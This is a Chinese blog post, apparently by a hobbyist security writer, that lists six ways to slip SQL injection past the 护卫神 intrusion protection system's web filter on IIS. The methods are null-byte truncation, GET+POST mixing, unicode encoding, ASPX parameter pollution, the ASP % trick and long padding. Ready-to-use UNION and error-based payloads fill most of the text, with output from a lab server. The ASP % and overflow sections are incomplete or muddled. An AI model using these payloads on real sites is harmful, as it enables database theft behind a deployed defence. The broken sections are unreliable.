

0x00 前言

护卫神一直专注服务器安全领域，其中有一款产品，护卫神·入侵防护系统，提供了一些网站安全防护的功能，在IIS加固模块中有一个SQL防注入功能。

这边主要分享一下几种思路，Bypass 护卫神SQL注入防御。

0x01 环境搭建

护卫神官网：<http://www.huweishen.com>

软件版本：护卫神·入侵防护系统 V3.8.1 最新版本

下载地址：<http://down.huweishen.com/hws.zip>

测试环境：IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL



0x02 WAF测试

护卫神SQL防注入的规则几年了基本都没有什么变化，先来一张拦截测试图：

Load URL	http://192.168.204.132/sql.aspx?id=1 union select 1,2,3
Split URL	
Execute	
<input type="checkbox"/> Enable Post data <input type="checkbox"/> Enable Referrer	

安全提示: 本次请求存在 SQL注入威胁, 访问被阻止。如果确认为正常操作, 可联系管理员添加白名单。
网址: http://192.168.204.132/sql.aspx?id=1 union select 1,2,3
客户端IP: 192.168.204.1
关联: 无
备注: 安全提示: 页面内容含有SQL注入危险特征, 本次访问被阻止, 若有疑问可以联系管理员解除该限制。
网址: 192.168.204.132/sql.aspx?id=1 union select 1,2,3
客户端IP: 192.168.204.1
关联: 无
备注:

姿势一: %00截断

%00截断是上传漏洞中常用的一个非常经典的姿势, 在SQL注入中, 也可以用来Bypass。

在WAF层, 接收参数id后, 遇到%00截断, 只获取到 id=1, 无法获取到后面的有害参数输入;

在ASPX+MSSQL中, 支持%00来代替空白字符, 构造的SQL语句得以成功执行, 获取数据。

```
http://192.168.204.132/sql.aspx?id=1%00and 1=2 union select 1,2,column_name from information_schema.columns
```

Load URL	http://192.168.204.132/sql.aspx?id=1%00and 1=2 union select 1,2,column_name from information_schema.columns
Split URL	
Execute	
<input type="checkbox"/> Enable Post data <input type="checkbox"/> Enable Referrer	

执行语句:

select * from admin where id=1and 1=2 union select 1,2,column_name from information_schema.columns

结果为:

id	username	password
1	2	data
1	2	id
1	2	password
1	2	username

在PHP+Mysql中, 可以用 /*%00*/ , 同样可以进行Bypass。

```
/sql.php?id=1/*%00*/union select 1,schema_name,3 from information_schema.schemata
```

姿势二: GET+POST

当同时提交GET、POST请求时, 进入POST逻辑, 而忽略了GET请求的有害参数输入, 可轻易Bypass。

在IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL 均适用。

```
http://192.168.204.132/sql.aspx?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns
```

POST: aaa

Load URL

Split URL

Execute

http://192.168.204.132/sql.aspx?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns

☒ Enable Post data

☐ Enable Referrer

Post data

aaa

执行语句:

select * from admin where id=1 and 1=2 union select 1,column_name,3 from information_schema.columns

结果为:

id	username	password
1	data	3
1	id	3
1	password	3
1	username	3

姿势三：unicode编码

IIS服务器支持对于unicode的解析，对关键词进行unicode编码绕过。

```
http://192.168.204.132/sql.aspx?id=1 and 1=2 union s%u0045lect 1,2,column_name from information_schema.columns
```

Load URL

Split URL

Execute

http://192.168.204.132/sql.aspx?id=1 and 1=2 union s%u0045lect 1,2,column_name from information_schema.columns

☐ Enable Post data

☐ Enable Referrer

执行语句:

select * from admin where id=1 and 1=2 union sElect 1,2,column_name from information_schema.columns

结果为:

id	username	password
1	2	data
1	2	id
1	2	password
1	2	username

姿势四：ASPX+HPP

在ASPX中，有一个比较特殊的HPP特性，当GET/POST/COOKIE同时提交的参数id，服务端接收参数id的顺序GET,POST,COOKIE，中间通过逗号链接。

UNION、SELECT、两个关键字拆分放在GET/POST的位置，通过ASPX的这个特性连起来，姿势利用有点局限，分享一下Bypass思路。

```
http://192.168.204.132/sql.aspx?id=1 and 1=2 union/* POST: id=*/select 1,column_name,3 from information_schema.columns
```

Load URL

☒ Enable Post data ☐ Enable Referrer

Post data

姿势五：ASP %特性

SQLmap

Load URL http://192.168.204.132/sql.asp?id=1 and 1=2 union select 1,2,column_name from information_schema.columns

Split URL

☐ Enable Post data ☐ Enable Referrer

select * from admin where id=1 and 1=2 union select 1,2,column_name from information_schema.columns

id	username	password
1	2	data
1	2	id
1	2	password
1	2	username

姿势六：缓冲区溢出

编写一个简单的Python脚本，当A的个数填充到49099时，可成功Bypass。

?id=1 and 1=(updatexml(1,concat(0x3a,(select user()))),1))

?id=1 and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))

0x03 END

总结了几种IIS下SQL注入 Bypass的思路，在实战中也很常见。

关于我：一个网络安全爱好者，致力于分享原创高质量干货，欢迎关注我的个人微信公众号：Bypass--，浏览更多精彩文章。

